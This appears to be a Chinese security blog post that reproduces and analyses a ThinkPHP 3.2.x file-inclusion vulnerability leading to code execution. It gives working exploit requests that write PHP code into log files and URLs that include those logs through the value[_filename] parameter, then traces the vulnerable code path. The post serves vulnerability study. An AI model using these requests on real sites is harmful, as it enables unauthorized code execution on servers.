ThinkPHP3.2 二三事

  • Comments Off on ThinkPHP3.2 二三事
  • 11 views
  • A+

前言

之前看到【漏洞通报】ThinkPHP3.2.x RCE漏洞通报只是粗略的看了下漏洞原理,看了就等于自己会了吗?

wKg0C2FJ5raAQYQOAAAq3nsQujg650.jpg

本着要对这个漏洞负责的态度,当然要实际操作一下。

漏洞概述

在受影响的 ThinkPHP 版本中,如果业务代码中存在模板赋值方法 assign的第一个参数可控,则可导致模板文件路径变量被覆盖为恶意代码的文件路径,造成任意文件包含,执行任意代码。

漏洞复现

为了省事直接在本地 Windows 上 利用 phpstudy 搭建环境并进行分析 ThinkPHP3.2.x 下载

为了漏洞复现的需要,我们要修改控制器

Application/Home/Controller/IndexController.class.php

<?php
namespace HomeController;
use ThinkController;
class IndexController extends Controller {
   public function index($value=''){
       $this->assign($value);
       $this->display();
  }
}

同时因为程序要进入模板渲染的方法中,所以需要创建对应的模板文件内容,内容随意,模板文件的位置:

ApplicationHomeViewIndexindex.html

因为开启 debug 模式时日志路径保存位置不同,所以操作可能略微有所不同

debug 模式关闭时,默认为开启模式

GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: thinkphp.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=vkmgdmnjpvke8bn0v2oq3da7ld
Connection: close

wKg0C2FJ5xuAAoJAAADNjWJCNE4295.jpg

系统报错写进了日志文件中,日志文件路径(默认配置的 log 文件路径,ThinkPHP 的日志路径和日期相关)

Application/Runtime/Logs/Common/21_07_19.log

wKg0C2FJ5y6ADwHYAAAzcuuRqWA127.jpg

构造请求

http://thinkphp.test/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_19.log

wKg0C2FJ50OAXqqSAAC7PuKzTQ632.jpg

debug 模式开启时,除了通过构造错误请求日志外,还可以通过构造正确请求日志,但是日志路径不同。

GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
Host: thinkphp.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

wKg0C2FJ51mALJaNAAC9EbA9CFQ120.jpg

开始了debug 模式后正确的请求也会被写进日志文件,日志文件路径(默认配置的 log 文件路径,ThinkPHP 的日志路径和日期相关)

Application/Runtime/Logs/Home/21_09_20.log

wKg0C2FJ52uAY3MMAADDGsAcWDQ253.jpg

构造请求

http://thinkphp.test/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_09_20.log

wKg0C2FJ532AKPrlAACgpm3feBU714.jpg

到此简单的漏洞复现就算完成了,复现了就等于自己会了吗?

wKg0C2FJ55KAPuVEAAAq3nsQujg312.jpg

对漏洞进行分析还是很有必要滴。

漏洞分析

IndexController 作为入口路由

Application/Home/Controller/IndexController.class.php

wKg0C2FJ59CAZ00QAABW01CfjMk102.jpg

assign 方法的第一个变量可控,于是跟进 assign 方法

ThinkController::assign

wKg0C2FJ5GASxmRAAA67DJ3qI233.jpg

此时调用的是 ThinkPHP/Library/Think/View.class.php 中的 assign 函数,因为传入的值是数组,传进去的 $value 对应着此处的 $name 被赋值给了 $this->tVar

ThinkView::assign

wKg0C2FJ6CWAHtGiAABRHoczIUA138.jpg

接着就到了 disaply 方法

ThinkController::display

wKg0C2FJ6DaAJ717AAAyg8cQiyA038.jpg

会调用 ThinkPHP/Library/Think/View.class.php 中的 display 函数,传入的参数全部为空

wKg0C2FJ6EyAZ7SAAA8IubJ8zw589.jpg

进入 fetch 函数进行处理,这里我们看到对 templateFile 进行了校验,如果模板文件文件不存在的话,会直接退出,这也就是为什么之前要创建模板文件的原因。

ThinkView::fetch

wKg0C2FJ6GyAIXBSAACAzmaBqpU794.jpg

在满足了存在模板文件的条件之后,继续向下执行,会判断模板文件的类型,不是 php 类型的模板时进入 else 分支,会为 $params 赋值,var 是 传进去的 $value 即日志路径,file 是模板文件的路径。

wKg0C2FJ6KyAM40wAABfHyuQfwY059.jpg

会进入 ThinkPHP/Library/Think/Hook.class.php中的 listen 函数

ThinkHook::listen

wKg0C2FJ6MeAMQPmAABvWgBHAg603.jpg

然后会调用 ThinkPHP/Library/Think/Hook.class.php 的 exec 函数

ThinkHook::exec

wKg0C2FJ6OKAbDhXAABRHvXSUdg152.jpg

然后 exec 函数会将 $params 到函数 ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php 中的 run 函数进行处理

BehaviorParseTemplateBehavior::run

wKg0C2FJ6QeABB2VAACNWIil50g756.jpg

接着会进入 ThinkPHP/Library/Think/Template.class.php 中的 fetch 函数

ThinkTemplate::fetch

wKg0C2FJ6TyAb8ELAABF5piHtjk104.jpg

通过 call_user_func_array 调用函数 load

ThinkStorage::__callstatic

wKg0C2FJ6aOAUWKLAAAydx5vqOw113.jpg

$var 不为空时,会通过 extract 方法 EXTR_OVERWRITE 覆盖掉已有的变量。

ThinkStorageDriverFile::load

wKg0C2FJ6feACbAGAAAzuwBMlE023.jpg

之后就到了漏洞的最终触发点 include $_filename; 此处就实现了文件包含漏洞

ThinkStorageDriverFile::load

wKg0C2FJ6jGAIgNfAAA6sANZhXQ283.jpg

漏洞补充

模板渲染方法的话,可以使用 display 、fetch 、show

ThinkController::display

wKg0C2FJ6mGABQUMAAAq7pKZqGo260.jpg

ThinkController::show

wKg0C2FJ6m2AAgPPAAAnutNey10355.jpg

ThinkController::fetch

wKg0C2FJ6nyAUodvAAAlm6vSFss528.jpg

使用 fetch 时程序逻辑会使用 ob_start();打开缓冲区,使得 PHP 代码的数据块和 echo() 输出都会进入缓冲区而不会立刻输出;所以构造 fetch 方法对应的攻击代码想要输出时,需要在攻击代码末尾带上 exit() 或 die()。

wKg0C2FJ6pWADg63AACUKWJnQuo235.jpg

总结

整个漏洞分析下来,有一种豁然开朗的感觉,自己实操调试一遍之后有很大的收获,漏洞原理并不是很难,自己去挖掘发现的话,可能还是要加深对 thinkphp 代码的理解。

相关推荐: java安全-java类加载器

前言 java类加载器是JVM加载类到内存并运行的过程,这个过程有点复杂,除了系统自定义的三类加载器外,java运行用户编写自定义加载器来完成类的加载过程。java安全中常常需要远程加载恶意类文件来完成漏洞的利用,所以学习类加载器的编写也是很重要的。 类加载器…